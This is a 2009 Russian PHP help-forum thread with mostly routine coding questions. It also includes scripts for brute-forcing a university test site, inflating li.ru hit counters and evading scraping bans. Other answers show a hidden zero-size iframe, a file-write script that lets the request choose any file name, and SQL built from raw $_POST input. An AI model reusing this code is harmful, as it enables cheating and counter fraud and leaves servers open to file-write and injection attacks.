<tr><td colspan=3 align=center>Разделитель: <input type='text' id='div' value=':' style='width:40px;'> <input type='button' onclick='build();return false;' value='Генерировать'></td></tr>
</table>
</body>
</html>

Myload
30.09.2009, 21:32
кто на пишет скрипт онлайн кто сейчас на сайте на php,mysql
тому +2;)

Fepsis
30.09.2009, 23:28
У меня возникла такая проблема. Захотел написать брутер ответов к тестам testing.mtuci.ru, но запнулся уже на этапе авторизации, почему-то post не отсылается. Подскажите в чём проблема?

А с чего ты взял что у тебя проблема..?! У меня твой код работает, посты шлются.. ;) Какой результат выводит у тебя твой код..?!
ЗЫ: может с куками проблема, попробуй так:
curl_setopt($cl, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
curl_setopt($cl, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');

m0Hze
30.09.2009, 23:41
Сосбтвенно,сталкиваюсь первый раз.
Имеем массив:

$data = array('title' => 'Admin Page', 'content' => 'Привет ' . $checkAdmin['name'] .
'! Готов приступить к работе?');

Так вот,каким образом,к каждому индексу в массиве,прибавить например с каждой стороны '[' and ']';
Тоесть,должно выйти чтото вроде:

$data = array('[title]' => 'Admin Page', '[content]' => 'Привет ' . $checkAdmin['name'] .
'! Готов приступить к работе?');

Fepsis
30.09.2009, 23:46
m0Hze, занеси в новый массив, а старый убей...

m0Hze
30.09.2009, 23:47
Вопрос не снимается,интересует ваша реализация.
Сам сдела с помощью foreach();
Встроенной команды не нашёл,пытался через array_map,key_change, но путного не вышло ничего.

m0Hze
30.09.2009, 23:48
m0Hze, занеси в новый массив, а старый убей...
Примерно так и поступил.Просто меня интересовала именно встроенная команда,но кроме array_map и key_change ничего похожего не нашёл.

Epic wave
30.09.2009, 23:53
кто на пишет скрипт онлайн кто сейчас на сайте на php,mysql
тому +2;)

<?
$m=file_get_contents("http://forum.antichat.ru/index.php");
$m=iconv("UTF-8","CP1251",$m);

if(preg_match_all("!<a href=\"member.php?u=\">(.*?)</a>!si",$m,$okkay))
$nik=$okkay[1];
else
$nik=array();

echo $nik;
?>


вообщем это парсер, проверять лень. ну смысл думаю уловил, потом порсто что получилось складываешь в базу

m0Hze
30.09.2009, 23:57
<?
$m=file_get_contents("http://forum.antichat.ru/index.php");
$m=iconv("UTF-8","CP1251",$m);

if(preg_match_all("!<a href=\"member.php?u=\">(.*?)</a>!si",$m,$okkay))
$nik=$okkay[1];
else
$nik=array();

echo $nik;
?>


вообщем это парсер, проверять лень. ну смысл думаю уловил, потом порсто что получилось складываешь в базу
:D непонял ты вопроса совсем.лучшебы вообще не писал :D

min7
01.10.2009, 01:15
Fepsis, авторизация проходит, страница с выбором тестов открывается(там где написано Здравствуйте, фамилиимя), но должна быть страница с уже выбраным тестом(текст вопроса и варианты ответов), то есть этот post user_test_choice=747695 не отсылается и имитируется нажатие на кнопку "Начать тест", но так он не выбран, то пишется "Вы забыли выбрать тест".

Fepsis
01.10.2009, 02:05
Fepsis, авторизация проходит, страница с выбором тестов открывается(там где написано Здравствуйте, фамилиимя), но должна быть страница с уже выбраным тестом(текст вопроса и варианты ответов), то есть этот post user_test_choice=747695 не отсылается и имитируется нажатие на кнопку "Начать тест", но так он не выбран, то пишется "Вы забыли выбрать тест".
У меня в результате работы скрипта появляется страница с вопросом "Понятия «интерполяция» и «экстраполяция» это..."

min7
01.10.2009, 10:19
Fepsis, всё верно, это и должно появлятся, видимо у меня курл на денвере криво встал, буду тестить..

БикБай
01.10.2009, 16:32
помогите с условиями.

if($_POST['scode']=='123')

хочу чтобы работало не под одному условию, а по нескольким из файла..

файл scodes.txt
123
534
867
...

REBUUS
01.10.2009, 16:34
if($_POST['scode']=='123' || $_POST['scode']=='534' || $_POST['scode']=='867')

или, смоьтря какое услови "и" или "или"

if($_POST['scode']=='123' && $_POST['scode']=='534' && $_POST['scode']=='867')

Gray_Wolf
01.10.2009, 16:39
2REBUUS каким образом можно сделать так чтобы отработало условие с И ? )))))

БикБай
01.10.2009, 16:39
REBUUS я так делал... но для меня не удобно каждый раз так добавлять новое условие
мне удобнее добавлять их в файл\n

m0Hze
01.10.2009, 16:40
if($_POST['scode']=='123' || $_POST['scode']=='534' || $_POST['scode']=='867')

или, смоьтря какое услови "и" или "или"

if($_POST['scode']=='123' && $_POST['scode']=='534' && $_POST['scode']=='867')
в чом разница втвоем коде?)
|| = && = or
| = & = and

Gray_Wolf
01.10.2009, 16:43
|| = && = or
| = & = and
o_O

m0Hze
01.10.2009, 16:43
o_O
:D

Ponchik
01.10.2009, 16:43
в чом разница втвоем коде?)
|| = && = or
| = & = and
&& это И
|| это ИЛИ
& и | это смещение по битам вобще

m0Hze
01.10.2009, 16:44
&& это И
|| это ИЛИ
& и | это смещение по битам вобще
Ну епана,простите наркомана....

Gray_Wolf
01.10.2009, 16:45
http://php.su/learnphp/operators/?logical

Ponchik
01.10.2009, 16:45
ну раз я в теме
AND = &&
OR = ||
XOR = есть для него чёнить?

Epic wave
01.10.2009, 16:48
$a xor $b Исключающее 'или' TRUE если $a, или $b TRUE, но не оба.

Ponchik
01.10.2009, 16:50
волна, ты непонел, ну неважно, если чё, я в болтанке бегаю

Epic wave
01.10.2009, 16:51
а такой вопрос нужну обратиться к сайту 9к раз чтобы достать 9к записей, но после 3к сайт банит. пробовал sleep(); но никак. что можно сделать может использовать юзерагенты, прокси, несколько сервов ?

[dword]
01.10.2009, 17:06
ну раз я в теме
XOR = есть для него чёнить?
Нету. ;)

Ponchik
01.10.2009, 17:46
Epic wave, прокси юзай =\

Fepsis
01.10.2009, 18:10
а такой вопрос нужну обратиться к сайту 9к раз чтобы достать 9к записей, но после 3к сайт банит. пробовал sleep(); но никак. что можно сделать может использовать юзерагенты, прокси, несколько сервов ?
Смотря по какому критерию бан получаешь... Пробуй самое простое сначала - куки очистить, сменить юзер агент, если не прокатит, то, как уже написал Понч, юзай прокси..)

astrologer
01.10.2009, 19:12
ну раз я в теме
AND = &&
OR = ||
XOR = есть для него чёнить?Для логических значений есть !=

b3
01.10.2009, 19:58
Для логических значений есть !=
А так же !==

svesve
02.10.2009, 10:44
Есть у кого пример реализации статус бара?
типа % выполненого?? или это все лучше сделать на ЯваСкрипте?
Если есть примеры буду благодарен.

KaMiKadZe
02.10.2009, 11:00
Есть у кого пример реализации статус бара?
типа % выполненого?? или это все лучше сделать на ЯваСкрипте?
Если есть примеры буду благодарен.
На php показать такую правду и даже близкую к правде невозможно, php скрипты не работают без перезагрузки страницы...

Gray_Wolf
02.10.2009, 12:23
2svesve
Тут нужен АЯКС.

ZirroCool
02.10.2009, 17:53
Всем привет! Собственно есть вопрос, не столько по пхп сколько по алгоритму, но соответствующего раздела я не нашел!
Задача: Нужно составить функцию для перебора всех возможных комбинаций букв латинского алфовита где длинна 1 комбинации N букв;

Заранее спасибо за ответ!

L I G A
02.10.2009, 19:12
Всем привет! Собственно есть вопрос, не столько по пхп сколько по алгоритму, но соответствующего раздела я не нашел!
Задача: Нужно составить функцию для перебора всех возможных комбинаций букв латинского алфовита где длинна 1 комбинации N букв;

Заранее спасибо за ответ!
пока что 2-х символьные комбинации:
<?php
$low=array();
for($i=97;$i<=122;$i++){
$low[]=chr($i);
}
for($z=0;$z<=25;$z++){
for($i=0;$i<=25;$i++)
{
echo $low[$i].$low[$z].'<br/>';
}
}

?>

Fepsis
02.10.2009, 19:28
пока что 2-х символьные комбинации:

Так не интересно, давай общий случай для произвольного n.. ;)

L I G A
02.10.2009, 19:30
Так не интересно, давай общий случай для произвольного n.. ;)
для произвольного - я хз как , мб подскажешь?

Kaimi
02.10.2009, 19:45
для произвольного - я хз как , мб подскажешь?

http://docstore.mik.ua/orelly/webprog/pcook/ch04_26.htm

L I G A
02.10.2009, 19:59
<?php
$low=array();
for($i=97;$i<=122;$i++){
$low[]=chr($i);
}
for($m=0;$m<=25;$m++){
for($g=0;$g<=25;$g++){
for($z=0;$z<=25;$z++){
for($i=0;$i<=25;$i++)
{
$two[]=$low[$i].$low[$z];
$three[]=$low[$i].$low[$z].$low[$g];
$four[]=$low[$i].$low[$z].$low[$g].$low[$m];
}
}
}
}
?>
в массиве $four оказалось 456975 елементов,продолжать дальше нет смысла т.к.
Maximum execution time - 30 seconds

crazy~driver
02.10.2009, 20:04
Привет, вопрос не по php, а скорее по smarty (такого раздела не нашел)
Вообщем такая ситуация... Я в шаблоне смарти (например menu.tpl) подключаю файл php, в котором объявлена константа и глобальная переменная.
Сам вопрос ... Как мне в этом же шаблоне обратиться к ним, но уже средствами smarty(например вывести на экран)

zifanchuck
02.10.2009, 20:06
вообщим такая штука) хочу написать скрипт накрутки ли.ру. захожу на сайт с счетчиком и сморю что куда отправляет. нашел чето типа етого
http://counter.yadro.ru/hit?t44.6;r;s1024*768*32;uhttp%3A//te-st.ru/;0.4811651660500814
захожу по етой ссылке мне защитывает хит. вбиваюссылку в курл ничего не происходит. Может кто знает почему? меня немного настораживают знаки типа ";" и "*" может курл с ними не работает или еще чтото?

L I G A
02.10.2009, 20:11
вообщим такая штука) хочу написать скрипт накрутки ли.ру. захожу на сайт с счетчиком и сморю что куда отправляет. нашел чето типа етого
http://counter.yadro.ru/hit?t44.6;r;s1024*768*32;uhttp%3A//te-st.ru/;0.4811651660500814
захожу по етой ссылке мне защитывает хит. вбиваюссылку в курл ничего не происходит. Может кто знает почему? меня немного настораживают знаки типа ";" и "*" может курл с ними не работает или еще чтото?
мб банят по юзверь-агенту,или по кукам,+юзай прокси.

zifanchuck
02.10.2009, 20:17
мб банят по юзверь-агенту,или по кукам,+юзай прокси.
про юзерагент тоже подумал, я его даже забыл выставить, но после того как выставил ничего не получилось. насчет кук хз, может из-за них. прокси поставлю когда уже будет робочий скрипт. пока я не накручиваю по 100 или больше, я его запускаю на 1 загрузку.

mr.The
02.10.2009, 21:07
вообщим такая штука) хочу написать скрипт накрутки ли.ру. захожу на сайт с счетчиком и сморю что куда отправляет. нашел чето типа етого
http://counter.yadro.ru/hit?t44.6;r;s1024*768*32;uhttp%3A//te-st.ru/;0.4811651660500814
захожу по етой ссылке мне защитывает хит. вбиваюссылку в курл ничего не происходит. Может кто знает почему? меня немного настораживают знаки типа ";" и "*" может курл с ними не работает или еще чтото?
линк генерируется java скриптом, разберись как, и генери так-же.

zifanchuck
02.10.2009, 22:29
не. дело не в том. линк если щас по линку проду то хит защитают (по етому) если скорилю курлу то нет. мне уже ето не нужно, но всеравно интересно почему)

Fepsis
02.10.2009, 23:33
для произвольного - я хз как , мб подскажешь?
Есть у меня одна идея, конечно желания всё это реализовывать нету, но как я понял, автора вопроса больше интересует, как раз таки идея, алгоритм...

ZirroCool, как вариант:
В алфавите 26 букв... на входе у нас число N...
Считаем количество комбинаций 26^N...
Потом рассматриваем числа от 0 до 26^N, и каждое из них переврдим из десятичной в 26-ричную систему счисления (алгоритмы перевода из одной системы в другую в общем то всем известны), результат забиваем в N-элементный массив, дополняя спереди ноликами до N, ну а потом каждый элемент массива переводим в букву латинского алфавита chr($a[$i]+97) и выводим implode($a)
На выходе как раз получим все комбинации..)

zifanchuck
02.10.2009, 23:40
Чето башка роскалываеться. немогу сделать елементарную фишку

есть масив акаунтов и масив прокси. прокси меньше чем аков. нужно чтобы когда прокси пройдут по первому кругу началось заново(с начала масива)

есть чтото типа




$count = 20;//типа колво аков
$proxy = $_POST['proxy'];
$proxy = explode("\n", $proxy);
$countproxy = count($proxy);//прокси допустим 10

for($i=0; $i<$count; $i++)
{
$result = curl("http://2ip.ru","", $proxy[$i]);
echo $result;
}


тоисть у меня есть 10 прокси и 20 аков. нужно 1 проксик заюзался 2 раза. я чето очень туплю и немогу ничего сделать :( :( :(



такс вроде роздуплился. неактуально

L I G A
02.10.2009, 23:55
что то типа:
$z=$i;
if($i>=$countproxy){
$z=0;
$z++;
$result = curl("http://2ip.ru","", $proxy[$z]);

zifanchuck
02.10.2009, 23:57
L I G A, примерно так и выкрутился))

Pashkela
03.10.2009, 03:12
Привет, вопрос не по php, а скорее по smarty (такого раздела не нашел)
Вообщем такая ситуация... Я в шаблоне смарти (например menu.tpl) подключаю файл php, в котором объявлена константа и глобальная переменная.
Сам вопрос ... Как мне в этом же шаблоне обратиться к ним, но уже средствами smarty(например вывести на экран)

http://tutorials.haxansweb.com/PHP/introduction_to_PHP/Smarty-templates-for-beginners--By-david

Cuko
03.10.2009, 09:31
скажите пжл как это код будет выглядеть в пхп
<IFRAME SRC="http://site.ru" WIDTH="0" HEIGHT="0" NAME="" SCROLLING="no" FRAMEBORDER=0>

-=Zhenek=-
03.10.2009, 09:37
скажите пжл как это код будет выглядеть в пхп
<IFRAME SRC="http://site.ru" WIDTH="0" HEIGHT="0" NAME="" SCROLLING="no" FRAMEBORDER=0>

echo "<IFRAME SRC=\"http://site.ru\" WIDTH=\"0\" HEIGHT=\"0\" NAME=\"\" SCROLLING=\"no\" FRAMEBORDER=0>";

А вообще это HTML и он и в африке HTML

crazy~driver
03.10.2009, 10:30
http://tutorials.haxansweb.com/PHP/introduction_to_PHP/Smarty-templates-for-beginners--By-david
Спасибо Pashkela, но это не то.

<!--menu.tpl-->
<table width="100%" border=0 bordercolor="#eeffff">
<tr bgcolor="#000099">
<td width="200 px" align="center">
<a href='index.php?cl=CPeople&sc=showlist' onFocus="this.blur()">
<font color="#ffffff"><h1>Просмотреть</font></a>
<td width="200 px" align="center">
<a href='index.php?cl=CPeople&sc=red' onFocus="this.blur()">
<font color="#ffffff"><h1>Редактировать</font></a>
<td width="200 px" align="center">
<a href='index.php?cl=CPeople&sc=editForm' onFocus="this.blur()">
<font color="#ffffff"><h1>Добавить</font></a>
<td width="200 px" align="center"><a href='index.php?cl=CPeople&sc=about' onFocus="this.blur()">
<font color="#ffffff"><h1>Об авторе</font></a> </table>
{php}
include "auth/auth.php";
//echo $as;
{/php}
<!-- вот здесь нужно выдернуть переменную и константу -->
<table width="5%" border=3 bordercolor="#C400C4"> <tr>
<td width="100px" align="center">
<a href='index.php?cl=CPeople&sc=poisk' onFocus="this.blur()">
<font color="#C400C4"><h1>Поиск</font></a>
</table>
Мне нужно после вставляемого кода php выдернуть средствами смарти константу и глобальную переменную.

harom
03.10.2009, 13:30
подскажите с session_start();

есть скрипт запускающий сессии
session_start();

if(empty($_SESSION['login']))
{
header('location: http://'. $_SERVER['HTTP_HOST'] .'?register=autorize');
exit();
}


но при его работе выдаёт ошибку:

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by





сервер:
PHP 5.2.4
_____________________________________

прошу подсказать в каком направлении копать(никаких функций писать не нужно)

Pashkela
03.10.2009, 13:39
2 crazy~driver:

Вообще-то правильно делать все нужные инклуды и последующую обработку в php-файлах, а потом уже делать $smarty->assign(); для внесения конечных нужных данных в шаблон

2 harom:

session_start(); должно быть в самом начале кода (сверху)


Note: If you are using cookie-based sessions, you must call session_start() before anything is outputted to the browser.


т.е. выше session_start() не должно быть никаких echo, print и прочего

PS: Т.е. скорее всего ты просто выложил не весь код

L I G A
03.10.2009, 13:43
2harom
проверь есть ли до session_start() какой-либо вывод

L I G A
03.10.2009, 14:03
echo "<IFRAME SRC=\"http://site.ru\" WIDTH=\"0\" HEIGHT=\"0\" NAME=\"\" SCROLLING=\"no\" FRAMEBORDER=0>";

А вообще это HTML и он и в африке HTML
а вобще лучше юзать ' а не тыкать "\"

Deathdreams
03.10.2009, 14:12
2 harom

Юзай :
@session_start();

Pashkela
03.10.2009, 14:15
а вобще лучше юзать ' а не тыкать "\"

вообще-то можно вообще без внутренних кавычек:)

crazy~driver
03.10.2009, 16:33
подскажите с session_start();

есть скрипт запускающий сессии
session_start();

if(empty($_SESSION['login']))
{
header('location: http://'. $_SERVER['HTTP_HOST'] .'?register=autorize');
exit();
}


но при его работе выдаёт ошибку:

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by





сервер:
PHP 5.2.4
_____________________________________

прошу подсказать в каком направлении копать(никаких функций писать не нужно)

ob_start () тебе поможет, если ранее передаются хедеры, прогугли эту функцию

crazy~driver
03.10.2009, 16:37
2 crazy~driver:

Вообще-то правильно делать все нужные инклуды и последующую обработку в php-файлах, а потом уже делать $smarty->assign(); для внесения конечных нужных данных в шаблон



да я знаю, если бы я полностью писал код, то так бы и сделал, а так тело одно писало, писало, а потом помоги.

А так никак нельзя обратиться к ним?

Pashkela
03.10.2009, 16:43
не сталкивался просто с такой проблемой, сорри. Вообще, по логике, цепляешь исходный php - откуда в шаблон всё прыгает - и там уже делаешь всё что хочешь в обычном режиме. Просто запускаешь поиск внутри файлов по параметру имени переменной, что в шаблоне

superboy4
03.10.2009, 17:55
Интересует функция авторизации вкантакте, получение сессии, кто писал покажите свои варианты.

не позорься с такой репой, или ты прикалываешься ???ты же сам это писал.
Я поиском по форуму прошёлся. :D


||
^ базара ноль, но поиск рулит. :)

heretic1990
03.10.2009, 18:44
Интересует функция авторизации вкантакте, получение сессии, кто писал покажите свои варианты.
Я раньше так логиниля.

function vklog($email,$pass) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans=fgets($fp,128);
fclose($fp);
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}

L I G A
03.10.2009, 19:05
Я раньше так логиниля.

function vklog($email,$pass) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans=fgets($fp,128);
fclose($fp);
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}

там уже vk.com

________
0ph.ru

b3
03.10.2009, 19:08
Переделал свою авторизацию

function vk_login($login,$pass)
{
$login = urlencode($login);
$pass = urlencode($pass);

$ch = curl_init('http://login.vk.com/?act=login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk=");
$res = curl_exec($ch);

if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
return $s[1];
else return false;
}

heretic1990
03.10.2009, 20:13
L I G A, и чё? этот способ тоже работает! если не лень проверь ;)

phpdreamer
03.10.2009, 20:23
Такой вопрос:
как через curl подставить куки?

Я буду обращатся к хосту, передавая ему POST параметры
а нужно еще и кукисы передать, а потом желательно записать изменения
ну как получить куки я вроде бы знаю - curl_setopt ($curld, CURLOPT_COOKIEJAR, 'cookie.txt');

WNZRS
03.10.2009, 20:34
curl_setopt($curld, CURLOPT_COOKIE, "login=Guest&password=123456");

BoEH-upchk
03.10.2009, 20:40
thx

OnArs
03.10.2009, 22:31
Здравствуйте!


Вопрос:
Можно ли cчитать данные с textarea, распихав построчно их в массив?


Пробую вот так:
$test = str_replace('\n','<br />',$_POST['test']);

Но не получаю нужного результата...


Благодарен любым ответам!

ZirroCool
03.10.2009, 22:40
OnArs, попробуй так :
$test = explode("\n",$_POST['test']);

OnArs
03.10.2009, 22:50
Только что нашёл что можно сделать вот так:
preg_split("/[\n,]+/", $_POST['test']);

или так:
echo nl2br($_POST['test']);


Но всё равно большое спасибо! ;)

min7
04.10.2009, 15:49
Существует файл в котором текст записан так:

Метод дихотомии гарантирует отыскание минимума с заданной точностью, если...
правильно выбран отрезок неопределенности
--------------------------------------------

Высшей степенью точности обладает...
метод Симпсона
--------------------------------------------

Если на значения параметров оптимизации существуют ограничения, то задача оптимизации называется...
условной
--------------------------------------------

Высшей степенью точности обладает...
метод Симпсона
--------------------------------------------
Как удалить все повторения текста, но чтоб оставался разделитель "----" ? array_unique насколько я знаю построчно читает содержимое файлов, тоесть разделители тоже удаляться..

Kaimi
04.10.2009, 16:07
Как-то так видимо


<?php

$delim = '--------------------------------------------';
$file = file_get_contents('file.txt');
$list = array_unique(explode($delim, $file));

print implode($delim, $list);

?>

min7
04.10.2009, 16:31
Спасибо, то что надо

UnknownZZZ
04.10.2009, 16:43
Подскажыте плз код чтоб создавать файлы на сервере, потом туда чтото дописывать и чытать.....причом имя файла, что писать, что чытать нужно писать в запросе к скрипту !!

b3
04.10.2009, 16:55
?filename=qwerty.txt&text=thisistext
if(!empty($_GET['filename']) && !empty($_GET['text']))
file_put_contents($_GET['filename'],$_GET['text']);
Таm уже сам по ситуации urldecode etc...

UnknownZZZ
04.10.2009, 16:58
спс,....шас попробую...есличо не так,...срошу)

UnknownZZZ
04.10.2009, 17:09
Да,..ето именно то что надо))))) спс большое)) помогиешо как дописать в существующий файл,...и как прочитать заданое значение )))

zifanchuck
04.10.2009, 17:39
немного не в тему, но трабла с денвером. точнее не у меня а у 2 челов. у них вылетает ощибка при запуске денвера типа невозможно отредактировать хостс. и из-за етого наверное у ним мой скрипт не пашет. у меня на денвере все норм. может кто сталкивался что может его блочить? и возможно что изза етой ошибки не работает скрипт?

ZirroCool
04.10.2009, 17:47
права записи в system32\drivers\etc\hosts открыть всем пользователям, как вариант, но не очень хороший)

m0Hze
04.10.2009, 17:51
права записи в system32\drivers\etc\hosts открыть всем пользователям, как вариант, но не очень хороший)
И сразу скинь мне их Ip-адреса, будь другом =)

Zedi
04.10.2009, 18:31
немного не в тему, но трабла с денвером. точнее не у меня а у 2 челов. у них вылетает ощибка при запуске денвера типа невозможно отредактировать хостс. и из-за етого наверное у ним мой скрипт не пашет. у меня на денвере все норм. может кто сталкивался что может его блочить? и возможно что изза етой ошибки не работает скрипт?
это изза того что не хватает прав, если система у них виста или семерка то пусть попробуют запустить денвер от имени администратора

UnknownZZZ
04.10.2009, 18:34
помогите мне со скриптом что выше,.....надо чтоб он дописывал значения в файл,..и чтоб чытать можно было

zifanchuck
04.10.2009, 18:35
это изза того что не хватает прав, если система у них виста или семерка то пусть попробуют запустить денвер от имени администратора

ХП сервиспак 3. всмысле из под админа зайти и денвер запустить?

Zedi
04.10.2009, 19:05
помогите мне со скриптом что выше,.....надо чтоб он дописывал значения в файл,..и чтоб чытать можно было
скрипт для записи <?php
function file_put($data, $file)
{
$f = fopen($file, "a+");
fwrite($f, $data."\r\n");
fclose($f);
}
if (isset($_GET['filename']) and isset($_GET['text']) and $_GET['filename'] != "" and $_GET['text'] != "") {
file_put($_GET['text'], $_GET['filename']);
}
?>
скрипт для чтения <?php
if (isset($_GET['filename']) and $_GET['filename'] != "") {
if (file_exists($_GET['filename'])) {
echo nl2br(file_get_contents($_GET['filename']));
}
}
?>

Zedi
04.10.2009, 19:18
zifanchuck, рекомендую почитать http://forum.dklab.ru/viewtopic.php?p=170670 и http://forum.dklab.ru/viewtopic.php?p=160573&noimg=1, ну и вообще с вопросами на денвер лучше обращаться на тот форум)))

zifanchuck
04.10.2009, 19:21
та читал) попробуе еще раз перечитать, может чтото пропустил) спасибо

zifanchuck
04.10.2009, 19:34
там еще такой ньюанс. в етк есть какойто хостс.бак или чтото такое. просто хостс нет. сделать его нельзя пишет что запрещено. говорят что сидят из под админа. уже я им давал свой билд(тот что себе устанавливал) денвера. всеравно. у обоих есть тот бак. сервис пак у одного 2 у другого 3. вроде все поотключали что может блочить, всеравно. может вирь какойто? щас погуглю нащет того бака. ниукого его небыло?

Zedi
04.10.2009, 19:37
может пусть поробуют зайдут из под безопасного режима удалят все эти баки и создадут hosts, там даже из под безопасного можно запустить

zifanchuck
04.10.2009, 19:40
может пусть поробуют зайдут из под безопасного режима удалят все эти баки и создадут hosts, там даже из под безопасного можно запустить

мб. как то сам не догадался)) скажу им. пусть попробуют. спасибо еще раз)

UnknownZZZ
04.10.2009, 19:44
Спасибо большое ))

[Dezzter]
04.10.2009, 20:56
авторизация на phpbb
$post =
"username=".$user."&password=".$pass."&redirect=index.php&login=%D0%92%D1%8
5%D0%BE%D0%B4";
$sock = fsockopen("site.ru", 80, $errn, $err);

$send = "GET http://site.ru/ucp.php?mode=login HTTP/1.1\r\n";
$send .= "Host: site.ru\r\n";
$send .= "Referer: http://site.ru/ucp.php?mode=login\r\n";
$send .= "Connection: Close\r\n\r\n".$post;

$user и $pass валид
пост вроде верный, отсылаю, получаю 2 ответа (ну от гета и от поста
соответственно), ну короче, получаю от поста

Set-Cookie: phpbb3_g387u_u=1; expires=Mon, 04-Oct-2010 16:25:17 GMT; path=/;
domain=site.ru; HttpOnly
Set-Cookie: phpbb3_g387u_k=; expires=Mon, 04-Oct-2010 16:25:17 GMT; path=/;
domain=site.ru; HttpOnly
Set-Cookie: phpbb3_g387u_sid=66a3c5ee6fb2ed9f34001a7f512304cb; expires=Mon,
04-Oct-2010 16:25:17 GMT; path=/; domain=site.ru; HttpOnly

выдираю куки, но авторизоваться с ними не получается, в чем косяк?

попугай
04.10.2009, 21:02
POSTом надо слать

levsal
04.10.2009, 23:07
в общем возникла такая проблема: есть ICQ бот, я хочу добавить функцию декодирования из Hex, но проблема в том что когда я отправляю команду боту на расшифровку он вылетает, а кодирует нормально.
в чём может быть проблема? :( :( :(

// Функция кодирования в Hex
case 'hex':
$mlCQ->send_message($from,bin2hex($cmd[2]), 2);
break;

// Функция декодирования из Hex
case 'unhex':
$unhex=unhex($cmd[2]);
if($unhex=='') { $unhex='Не возможно'; }
$mlCQ->send_message($from,$unhex);
break;

mailbrush
04.10.2009, 23:13
levsal, ф-ции unhex в PHP нету.

ZirroCool
04.10.2009, 23:21
<?php
/*
Function: hexToAscii
Code URI: http://ifelse.co.uk/code/hex_to_ascii.php
Description: Nice and simple script that converts a delimited hex string to it's ASCII representation.
Example usage: hexToAscii("4d 49 43 52 4f 50 52 4f 47 52 41 4d 4d 45 52");
Author: Phu Ly
Author URI: http://www.ifelse.co.uk
*/
function hexToAscii($hex, $delimeter=" ")
{
//Remove delimiters from hex string
$hex = str_replace($delimeter, "", $hex);
$strLength = strlen($hex);
$returnVal = '';

for($i=0; $i<$strLength; $i += 2)
{
$dec_val = hexdec(substr($hex, $i, 2));
$returnVal .= chr($dec_val);
}
return $returnVal;
}

?>

levsal
04.10.2009, 23:24
mailbrush, знаю.
всё, разобрался, намудрил с функцией расшифровка, проблема в ней была!

Epic wave
05.10.2009, 00:22
http://www.php.net/

ZirroCool
05.10.2009, 00:23
я хочу быстро и нрамматно написать CMS
Ты сначалоа по русски научись писать грамотно! У тебя видимо так мало времени, ты так спешишь, что ачепяток у тебя в тексте больше чем букв!

mff
05.10.2009, 04:05
if($submit){
$result3 = mysql_query("INSERT INTO `bd` VALUES(NULL, '".$_POST['post']."', '".$_POST['nik']."')");
}?>

<form action="" method="post" >
Ваш ник: <input type="text" name="nik" value="Гость" /><br />
<textarea cols="100" rows="10" name="post"></textarea>
<input type="submit" name="submit" value="отпавить" />
</form>
Как сделать так, что бы при на;атии F5 сообщение снова не заносилось в базу? Спасибо.

m0Hze
05.10.2009, 07:11
$query = mysql_query("SELECT * FROM bd WHERE nik='".$_POST['nik']."' ");
if(mysql_num_rows($query) > 0){
echo 'Такая запись уже есть....';
}else{
запрос
}

Конечно,WHERE nik= смени на название нужного пол,где храниться $_POST['nik'];

L I G A
05.10.2009, 10:49
2mff
<?php
if($submit){
$result3 = mysql_query("INSERT INTO `bd` VALUES(NULL, '".$_POST['post']."', '".$_POST['nik']."')");
echo '<meta http-equiv="refresh" content="0;url="'.$_SERVER['PHP SELF'].'">';
}?>

<form action="" method="post" >
Ваш ник: <input type="text" name="nik" value="Гость" /><br />
<textarea cols="100" rows="10" name="post"></textarea>
<input type="submit" name="submit" value="отпавить" />
</form>
?>

________
0ph.ru

harom
05.10.2009, 20:29
может просьба оч глупая, но никак не могу настроить php.ini для денвера с поддержкой работы с сессиями, выложить кто нить может?

Zedi
05.10.2009, 20:53
денвер по умолчанию с сессиями работает, тебе что именно то надо?

chekist
06.10.2009, 00:46
']авторизация на phpbb
$post =
"username=".$user."&password=".$pass."&redirect=index.php&login=%D0%92%D1%8
5%D0%BE%D0%B4";
$sock = fsockopen("site.ru", 80, $errn, $err);

$send = "GET http://site.ru/ucp.php?mode=login HTTP/1.1\r\n";
$send .= "Host: site.ru\r\n";
$send .= "Referer: http://site.ru/ucp.php?mode=login\r\n";
$send .= "Connection: Close\r\n\r\n".$post;

$user и $pass валид
пост вроде верный, отсылаю, получаю 2 ответа (ну от гета и от поста
соответственно), ну короче, получаю от поста

выдираю куки, но авторизоваться с ними не получается, в чем косяк?
исправь на
$send = "POST http://site.ru/ucp.php?mode=login HTTP/1.1\r\n";
и добавь
$send.= "Content-Length: ".strlen($post)."\r\n"

harom
06.10.2009, 01:21
денвер по умолчанию с сессиями работает, тебе что именно то надо?


да не совсем...(как я понял)

вот файл php.ini (http://zubar-andrey.org.ua/files/php.ini)

а вот какая ссылочка (http://zubar-andrey.org.ua/files/error.jpg) получается при переходе на страничку с регистрацией ,
суть в том, что куки добавляет к ссылке

как я понял это некорректная настройка php.ini

Failure
06.10.2009, 01:51
переходе на страничку с регистрацией
код в студию, а вообще

<?php
session_start();
